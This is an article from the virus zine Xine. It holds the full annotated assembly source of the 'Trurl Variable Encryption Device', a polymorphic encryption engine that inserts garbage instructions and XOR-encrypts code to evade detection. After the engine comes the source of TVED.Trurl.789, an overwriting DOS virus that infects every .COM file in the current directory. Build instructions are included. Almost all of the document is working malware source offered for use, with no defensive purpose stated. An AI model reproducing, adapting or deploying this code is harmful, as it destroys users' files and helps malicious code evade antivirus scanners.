
                                        /-----------------------------\
                                        | Xine - issue #3 - Phile 309 |
                                        \-----------------------------/


comment *
	     Trurl Variable Encryption Device v 1.00 [TVED]
			     Disassembly by
			      Darkman/29A

		 Calling parameters:
		   CX	  Length of plain code
		   SI	  Decryptor's offset
		   DS:DX  Pointer to plain code
		   ES:DI  Pointer to decryptor + encrypted code

		 Return parameters:
		   CX	  Length of decryptor + encrypted code

  Garbage instructions:
    NOP; PUSH AX POP AX; MOV AX,AX; XCHG BX,BX; JMP imm8; JMP imm16; ROL AX,CL
    ROR AX,CL; RCL AX,CL RCR AX,CL

  Count register
    AX; CX; DX; BX; SI; DI

  Index register:
    BX; SI; DI

  Register holding decryption key:
    AL; CL; DL; BL; AH; CH; DH; BH; AX; CX; DX; BX; SI; DI

  TVED decryptor:
    One to four garbage instruction(s).
    PUSH DS
    One to four garbage instruction(s).
    PUSH CS
    One to four garbage instruction(s).
    POP DS
    One to four garbage instruction(s).
    MOV reg16,imm16		    (Count register, length of encrypted code)
    One to four garbage instruction(s).
    MOV reg16,imm16		    (Index register, offset of encrypted code)
    One to four garbage instruction(s).
    MOV reg,imm; (NOP)	     (Register holding decryption key, decryption key)
    One to four garbage instruction(s).
    XOR [reg16],reg
    One to four garbage instruction(s).
    INC reg16					     (Increase index register)
    One to four garbage instruction(s).
    INC reg16; (NOP)				     (	 "       "      "    )
    One to four garbage instruction(s).
    DEC reg16					     (Decrease count register)
    One to four garbage instruction(s).
    JNZ imm8					   (Offset of XOR [reg16],reg)
    One to four garbage instruction(s).
    POP DS

  Min. decryptor size:					32 bytes.
  Max. decryptor size:					68 bytes.
  Trurl Variable Encryption Device v 1.00 [TVED] size: 684 bytes.
*

tved_begin   equ     $			 ; Beginning of Trurl Variable Encr...

get_rnd_reg  proc    near		 ; Get random register
	     push    ax 		 ; Save AX at stack
get_rnd_reg_:
	     call    get_rnd_num
	     cmp     dl,00000101b	 ; Base pointer?
	     je      get_rnd_reg_	 ; Equal? Jump to get_rnd_reg_
	     cmp     dl,00000100b	 ; Stack pointer?
	     je      get_rnd_reg_	 ; Equal? Jump to get_rnd_reg_

	     pop     ax 		 ; Load AX from stack

	     ret			 ; Return!
	     endp

get_rnd_num  proc			 ; Get random number within seven
	     push    ax 		 ; Save AX at stack

	     in      al,40h		 ; AL = 8-bit random number
	     and     al,00000111b	 ; AL = random number within seven
	     xor     dx,dx		 ; Zero DX
	     mov     dl,al		 ; DX = random number within seven

	     pop     ax 		 ; Load AX from stack

	     ret			 ; Return!
	     endp

tved_poly    proc    near		 ; Trurl Variable Encryption Device...
	     push    ax 		 ; Save AX at stack
	     pusha			 ; Save all registers at stack
	     push    ds es		 ; Save segments at stack

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     call    delta_offse_
delta_offse_:
	     pop     bx 		 ; Load BX from stack
	     sub     bx,24h		 ; BX = delta offset

	     push    es di si cx	 ; Save registers at stack

	     push    cs 		 ; Save CS at stack
	     pop     es 		 ; Load ES from stack (CS)

	     mov     si,(offset orig_decrypt-offset tved_begin)
	     mov     di,(offset poly_decrypt-offset tved_begin)
	     add     si,bx		 ; Add delta offset to offset of or...
	     add     di,bx		 ; Add delta offset to offset of po...
	     mov     cx,(orig_end-orig_begin)
	     rep     movsb		 ; Move original decryptor to polym...

	     pop     cx si di es	 ; Load registers from stack

	     mov     [bx+(offset delta_off-offset tved_begin)],bx
	     mov     [bx+(offset encrypt_len-offset tved_begin)],cx
	     mov     [bx+(offset encrypt_off-offset tved_begin)],si
	     mov     [bx+(offset decrypt_off-offset tved_begin)],di
	     mov     [bx+(offset plain_len-offset tved_begin)],cx
	     mov     [bx+(offset plain_off-offset tved_begin)],dx

	     in      al,40h		 ; AL = encryption/decryption key
	     mov     [bx+(offset encrypt_key-offset tved_begin)],al
	     mov     [bx+(offset decrypt_key-offset tved_begin)],al

	     push    bx 		 ; Save BX at stack
	     call    gen_decrypt
	     call    gen_garbage
	     pop     bx 		 ; Load BX from stack

	     pop     es ds		 ; Load segments from stack

	     mov     cx,[bx+(offset plain_len-offset tved_begin)]
	     mov     si,[bx+(offset plain_off-offset tved_begin)]
	     mov     di,[bx+(offset decrypt_off-offset tved_begin)]
	     add     di,[bx+(offset decrypt_len-offset tved_begin)]
	     rep     movsb		 ; Move plain code above decryptor

	     mov     ah,[bx+(offset encrypt_key-offset tved_begin)]
	     mov     cx,[bx+(offset plain_len-offset tved_begin)]
	     mov     di,[bx+(offset decrypt_off-offset tved_begin)]
	     add     di,[bx+(offset decrypt_len-offset tved_begin)]
encrypt_loop:
	     xor     [di],ah		 ; Encrypt a byte of plain code
	     inc     di 		 ; Increase index register
	     loop    encrypt_loop

	     mov     cx,cs:[bx+(offset decrypt_len-offset tved_begin)]
	     mov     bp,sp		 ; BP = stack pointer
	     mov     [bp+10h],cx	 ; CX = length of decryptor

	     popa			 ; Load all registers from stack
	     pop     cx 		 ; Load CX from stack

	     ret			 ; Return!
	     endp

gen_decrypt  proc    near		 ; Generate decryptor
	     mov     si,bx		 ; SI = delta offset

	     call    get_rnd_reg
	     mov     al,dl		 ; AL = count register
get_idx_reg:
	     call    get_rnd_reg
	     cmp     dl,al		 ; Count register equal to index r...?
	     je      get_idx_reg	 ; Equal? Jump to get_idx_reg

	     cmp     dl,00000011b	 ; Base register?
	     je      base_reg		 ; Equal? Jump to base_reg
	     cmp     dl,00000110b	 ; Source index?
	     je      source_idx 	 ; Equal? Jump to source_idx
	     cmp     dl,00000111b	 ; Destination index?
	     je      destinat_idx	 ; Equal? Jump to destinat_idx

	     jmp     get_idx_reg
base_reg:
	     mov     ah,dl		 ; AH = index register number
	     mov     bl,00000111b	 ; BL =   "      "

	     jmp     get_key_size
source_idx:
	     mov     ah,dl		 ; AH = index register number
	     mov     bl,00000100b	 ; BL =   "      "

	     jmp     get_key_size
destinat_idx:
	     mov     ah,dl		 ; AH = index register number
	     mov     bl,00000101b	 ; BL =   "      "
get_key_size:
	     call    get_rnd_num
	     and     dl,00000001b	 ; DL = random number within one
	     mov     bh,dl		 ; BH = size of encryption/decrypti...

	     or      bh,bh		 ; 8-bit encryption/decryption key?
	     jz      get_key_r8 	 ; Zero? Jump to get_key_r8
get_key_r16:
	     call    get_rnd_reg
	     cmp     dl,al		 ; Count register equal to registe...?
	     je      get_key_r16	 ; Equal? Jump to get_key_r16
	     cmp     dl,ah		 ; Index register number equal to ...?
	     je      get_key_r16	 ; Equal? Jump to get_key_r16

	     mov     cl,dl		 ; CL = register holding decryption...

	     jmp     gen_decrypt_
get_key_r8:
	     call    get_rnd_num
	     mov     dh,dl		 ; DH = register holding decryption...
	     and     dh,00000011b	 ; DH = random number within three

	     cmp     dh,al		 ; Count register equal to registe...?
	     je      get_key_r8 	 ; Equal? Jump to get_key_r8
	     cmp     dh,ah		 ; Index register number equal to ...?
	     je      get_key_r8 	 ; Equal? Jump to get_key_r8

	     mov     cl,dl		 ; CL = register holding decryption...
gen_decrypt_:
	     or      [si+(offset mov_r16_i16-offset tved_begin)],al
	     or      [si+(offset dec_reg16-offset tved_begin)],al
	     or      [si+(offset mov_idx_reg-offset tved_begin)],ah
	     or      [si+(offset inc_idx_reg-offset tved_begin)],ah
	     or      [si+(offset xor_idx_reg-offset tved_begin)],bl
	     or      [si+(offset xor_key_reg-offset tved_begin)],bh

	     shl     bh,01h		 ; Shift left size of encryption/de...
	     shl     bh,01h		 ;   "    "    "   "            "
	     shl     bh,01h		 ;   "    "    "   "            "
	     or      [si+(offset mov_reg_key-offset tved_begin)],bh
	     or      [si+(offset mov_reg_key-offset tved_begin)],cl

	     shl     cl,01h		 ; Shift left register holding decr...
	     shl     cl,01h		 ;   "    "      "        "       "
	     shl     cl,01h		 ;   "    "      "        "       "
	     or      [si+(offset xor_idx_reg-offset tved_begin)],cl

	     or      bh,bh		 ; 8-bit encryption/decryption key?
	     jz      gen_exit		 ; Zero? Jump to gen_exit

	     mov     dl,[si+(offset decrypt_key-offset tved_begin)]
	     mov     [si+(offset decrypt_key_-offset tved_begin)],dl

	     mov     dx,[si+(offset encrypt_len-offset tved_begin)]
	     inc     dx 		 ; Increase length of plain code
	     shr     dx,01h		 ; Divide length of plain code by two
	     mov     [si+(offset encrypt_len-offset tved_begin)],dx

	     mov     byte ptr [si+(offset inc_idx_reg_-offset tved_begin)],01000000b
	     or      [si+(offset inc_idx_reg_-offset tved_begin)],ah
gen_exit:
	     ret			 ; Return!
	     endp

gen_garbage  proc    near		 ; Generate garbage
	     mov     bp,sp		 ; BP = stack pointer
	     cli			 ; Clear interrupt-enable flag

	     xor     bx,bx		 ; Zero BX
	     mov     bx,[bp+2]		 ; BX = delta offset
	     add     bx,(offset poly_decrypt-offset tved_begin)
	     mov     si,bx		 ; SI = offset of poly_decrypt
	     xor     ax,ax		 ; Zero AX
test_offset:
	     cld			 ; Clear direction flag

	     mov     bx,[bp+02h]	 ; BX = delta offset
	     add     bx,(offset poly_end-offset tved_begin)
	     cmp     si,bx		 ; End of polymorphic decryptor?
	     je      store_imm8 	 ; Equal? Jump to store_imm8

	     push    si 		 ; Save SI at stack
	     mov     si,[bp+02h]	 ; SI = delta offset
	     mov     bx,ax		 ; BX = offset within polymorphic d...
	     shl     bx,01h		 ; Multiply offset within polymorph...
	     mov     dx,[bx+si+(offset poly_off_tbl-offset tved_begin)]
	     add     dx,[bp+02h]	 ; Add delta offset to offset of ne...
	     pop     si 		 ; Load SI from stack

	     cmp     si,dx		 ; Current offset within polymorph...?
	     jne     move_decrypt	 ; Not equal? Jump to move_decrypt

	     push    si ax		 ; Save registers at stack
	     xor     cx,cx		 ; Zero CX
	     call    get_rnd_num
	     and     dl,00000011b	 ; DL = random number within three
	     inc     dl 		 ; DL =   "      "      "    four
	     mov     cl,dl		 ; CL =   "      "      "     "
gen_garbage_:
	     push    cx 		 ; Save CX at stack

	     call    get_rnd_num

	     xor     bx,bx		 ; Zero BX
	     mov     bl,dl		 ; BL = random number within seven
	     shl     bl,01h		 ; Multiply random number within se...

	     mov     si,[bp+02h]	 ; SI = delta offset
	     mov     si,[bx+si+(offset garb_off_tbl-offset tved_begin)]
	     add     si,[bp+02h]	 ; Add delta offset to offset withi...
	     xor     cx,cx		 ; Zero CX
	     mov     cl,[si]		 ; CL = size of garbage instruction
	     inc     si 		 ; SI = offset of garbage instruction
	     rep     movsb		 ; Move garbage opcode to decryptor...

	     pop     cx 		 ; Load CX from stack

	     loop    gen_garbage_

	     pop     ax 		 ; Load AX from stack

	     inc     ax 		 ; Increase AX

	     pop     si 		 ; Load SI from stack

	     call    exam_offset
move_decrypt:
	     mov     bl,[si]		 ; BL = byte of decryptor
	     mov     [di],bl		 ; Store byte of decryptor

	     inc     di 		 ; Increase DI
	     inc     si 		 ; Increase SI

	     jmp     test_offset
store_imm8:
	     sti			 ; Store interrupt-enable flag

	     mov     si,[bp+02h]	 ; SI = delta offset
	     mov     ax,[si+(offset xor_reg_off-offset tved_begin)]
	     mov     bx,[si+(offset jnz_imm8_off-offset tved_begin)]
	     add     bx,02h		 ; Add size of opcode to offset of ...
	     sub     ax,bx		 ; Subtract offset of JNZ imm8 from...
	     mov     [bx-01h],al	 ; Store 8-bit immediate

	     sub     di,[si+(offset decrypt_off-offset tved_begin)]
	     mov     [si+(offset decrypt_len-offset tved_begin)],di

	     mov     bx,[si+(offset mov_idx_off-offset tved_begin)]
	     add     [bx+01h],di	 ; Store length of decryptor

	     ret			 ; Return!
	     endp

exam_offset  proc    near		 ; Examine offset within polymorphi...
	     mov     bx,(offset mov_idx_reg-offset tved_begin)
	     add     bx,[bp+02h]	 ; Add delta offset to offset of mo...
	     cmp     si,bx		 ; Offset of MOV reg16,imm16?
	     je      sto_mov_off	 ; Equal? Jump to sto_mov_off

	     mov     bx,(offset xor_key_reg-offset tved_begin)
	     add     bx,[bp+02h]	 ; Add delta offset to offset of xo...
	     cmp     si,bx		 ; Offset of XOR [reg16],imm8/imm16?
	     je      sto_xor_off	 ; Equal? Jump to sto_xor_off

	     mov     bx,(offset jnz_imm8-offset tved_begin)
	     add     bx,[bp+02h]	 ; Add delta offset to offset of jn...
	     cmp     si,bx		 ; Offset of JNZ imm8?
	     je      sto_jnz_off	 ; Equal? Jump to sto_jnz_off

	     ret			 ; Return!
sto_mov_off:
	     push    si 		 ; Save SI at stack

	     mov     si,[bp+02h]	 ; SI = delta offset
	     mov     [si+(offset mov_idx_off-offset tved_begin)],di

	     pop     si 		 ; Load SI from stack

	     ret			 ; Return!
sto_xor_off:
	     push    si 		 ; Save SI at stack

	     mov     si,[bp+02h]	 ; SI = delta offset
	     mov     [si+(offset xor_reg_off-offset tved_begin)],di

	     pop     si 		 ; Load SI from stack

	     ret			 ; Return!
sto_jnz_off:
	     push    si 		 ; Save SI at stack

	     mov     si,[bp+02h]	 ; SI = delta offset
	     mov     [si+(offset jnz_imm8_off-offset tved_begin)],di

	     pop     si 		 ; Load SI from stack

	     ret			 ; Return!
	     endp

poly_decrypt proc    near		 ; Polymorphic decryptor
poly_begin:
	     push    ds 		 ; Save DS at stack

push_cs      equ     $			 ; Offset of PUSH CS
	     push    cs 		 ; Save CS at stack
pop_ds	     equ     $			 ; Offset of POP DS
	     pop     ds 		 ; Load DS from stack (CS)

mov_r16_i16  equ     byte ptr $ 	 ; Count register
encrypt_len  equ     word ptr $+01h	 ; Length of encrypted code
	     mov     ax,201h		 ; AX = length of encrypted code
mov_idx_reg  equ     byte ptr $ 	 ; Index register
encrypt_off  equ     word ptr $+01h	 ; Offset of encrypted code
	     mov     ax,800h		 ; AX = offset of encrypted code
mov_reg_key  equ     byte ptr $ 	 ; Register holding decryption key
decrypt_key  equ     byte ptr $+01h	 ; 8-bit decryption key
decrypt_key_ equ     byte ptr $+02h	 ; 16-bit decryption key
	     mov     al,0edh		 ; AL = decryption key
	     nop
poly_loop:
xor_key_reg  equ     byte ptr $ 	 ; Register holding decryption key
xor_idx_reg  equ     byte ptr $+01h	 ; Index register
	     xor     [bx+si],al 	 ; Decrypt a byte of encrypted code
inc_idx_reg  equ     byte ptr $ 	 ; Index register
inc_idx_reg_ equ     byte ptr $+01h	 ; Index register (16-bit decrypti...)
	     inc     ax 		 ; Increase index register
	     nop

dec_reg16    equ     byte ptr $ 	 ; Count register
	     dec     ax 		 ; Decrease count register
jnz_imm8     equ     $			 ; Offset of JNZ imm8
	     jnz     poly_loop		 ; Not zero? Jump to poly_loop

pop_ds_      equ     $			 ; Offset of POP DS
	     pop     ds 		 ; Load DS from stack
poly_end:
	     endp

	     db      'TVED 1.0 By Trurl' ; Name and author of the engine
delta_off    dw      ?			 ; Delta offset
decrypt_off  dw      ?			 ; Offset of decryptor + encrypted ...
plain_len    dw      ?			 ; Length of plain code
plain_off    dw      ?			 ; Offset of plain code
decrypt_len  dw      ?			 ; Length of decryptor
encrypt_key  db      ?			 ; Encryption key
xor_reg_off  dw      ?			 ; Offset of XOR [reg16],reg8/reg16
jnz_imm8_off dw      ?			 ; Offset of JNZ imm8
mov_idx_off  dw      ?			 ; Offset of MOV reg16,imm16
poly_off_tbl dw      (offset poly_decrypt-offset tved_begin)
	     dw      (offset push_cs-offset tved_begin)
	     dw      (offset pop_ds-offset tved_begin)
	     dw      (offset mov_r16_i16-offset tved_begin)
	     dw      (offset mov_idx_reg-offset tved_begin)
	     dw      (offset mov_reg_key-offset tved_begin)
	     dw      (offset xor_key_reg-offset tved_begin)
	     dw      (offset inc_idx_reg-offset tved_begin)
	     dw      (offset inc_idx_reg_-offset tved_begin)
	     dw      (offset dec_reg16-offset tved_begin)
	     dw      (offset jnz_imm8-offset tved_begin)
	     dw      (offset pop_ds_-offset tved_begin)
garb_off_tbl dw      (offset nop_-offset tved_begin)
	     dw      (offset push_pop_ax-offset tved_begin)
	     dw      (offset mov_ax_ax-offset tved_begin)
	     dw      (offset xchg_bx_bx-offset tved_begin)
	     dw      (offset jmp_imm8-offset tved_begin)
	     dw      (offset jmp_imm16-offset tved_begin)
	     dw      (offset rol_ror_ax-offset tved_begin)
	     dw      (offset rcl_rcr_ax-offset tved_begin)
nop_	     db      01h		 ; One byte garbage instruction
	     db      10010000b		 ; NOP (opcode 90h)
push_pop_ax  db      02h		 ; Two bytes garbage instruction
	     db      01010000b,01011000b ; PUSH AX; POP AX (opcode 50h,58h)
mov_ax_ax    db      02h		 ; Two bytes garbage instruction
	     dw      1100000010001011b	 ; MOV AX,AX (opcode 8bh,0c0h)
xchg_bx_bx   db      02h		 ; Two bytes garbage instruction
	     dw      1101101110000111b	 ; XCHG BX,BX (opcode 87h,0dbh)
jmp_imm8     db      02h		 ; Two bytes garbage instruction
	     db      11101011b,00000000b ; JMP imm8 (opcode 0ebh,00h)
jmp_imm16    db      03h		 ; Three bytes garbage instruction
	     db      11101001b,00000000b,00000000b
rol_ror_ax   db      04h		 ; Four bytes garbage instruction
	     dw      1100000011010011b,1100100011010011b
rcl_rcr_ax   db      04h		 ; Four bytes garbage instruction
	     dw      1101000011010011b,1101100011010011b
shl_shr_ax   db      04h		 ; Four bytes garbage instruction
	     dw      1110000011010011b,1110100011010011b

orig_decrypt proc    near		 ; Original decryptor
orig_begin:
	     push    ds 		 ; Save DS at stack

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     mov     ax,201h		 ; AX = length of encrypted code
	     mov     ax,800h		 ; AX = offset of encrypted code
	     mov     al,0edh		 ; AL = decryption key
	     nop
orig_loop:
	     xor     [bx+si],al 	 ; Decrypt a byte of encrypted code
	     inc     ax 		 ; Increase index register
	     nop

	     dec     ax 		 ; Decrease count register
	     jnz     orig_loop		 ; Not zero? Jump to orig_loop

	     pop     ds 		 ; Load DS from stack
orig_end:
	     endp

tved_end     equ     $			; End of Trurl Variable Encryption ...
tved_size    equ     $-tved_begin	; Size of Trurl Variable Encryption...

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
comment *
			     TVED.Trurl.789
			     Disassembly by
			      Darkman/29A

  TVED.Trurl.789 is a 789 bytes overwriting direct action COM virus. Infects
  every file in current directory, when executed. TVED.Trurl.789 is
  polymorphic in file using Trurl Variable Encryption Device v 1.00 [TVED].

  To compile TVED.Trurl.789 with Turbo Assembler v 4.0 type:
    TASM /M TVED_789.ASM
    TLINK /x /t TVED_789.OBJ
*

.model tiny
.code
.186
 org   100h				 ; Origin of TVED.Trurl.789

code_begin:
	     call    delta_offset
delta_offset:
	     pop     si 		 ; Load SI from stack
	     sub     si,03h		 ; SI = delta offset

	     mov     ah,4eh		 ; Find first matching file (DTA)
	     mov     cl,00100000b	 ; CL = file attribute mask
	     lea     dx,file_specifi-100h
	     add     dx,si		 ; Add delta offset to offset of fi...
	     int     21h
open_file:
	     mov     dx,9eh		 ; DX = offset of filename
	     mov     ax,3d01h		 ; Open file (write)
	     int     21h

	     push    si 		 ; Save SI at stack
	     mov     dx,si		 ; DX = offset of plain code
	     mov     cx,(tved_end-code_begin)
	     lea     di,tved_end-100h	 ; DI = offset of decryptor + encry...
	     add     di,si		 ; Add delta offset to offset of de...
	     mov     si,100h		 ; SI = decryptor's offset
	     call    tved_poly
	     add     cx,(tved_end-code_begin)
	     pop     si 		 ; Load SI from stack

	     mov     bx,ax		 ; BX = file handle
	     lea     dx,tved_end-100h	 ; DX = offset of decryptor + encry...
	     add     dx,si		 ; Add delta offset to offset of de...
	     mov     ah,40h		 ; Write to file
	     int     21h

	     mov     ah,3eh		 ; Close file
	     int     21h

	     mov     ah,4fh		 ; Find next matching file
	     int     21h
	     jnc     open_file		 ; No error? Jump to open_file

	     int     20h		 ; Terminate program!

file_specifi db      '*.COM',00h         ; File specification
	     db      'Bonsembiante Virus, By Trurl'

include      tved.asm			 ; Include Trurl Variable Encryptio...
code_end:

end	     code_begin
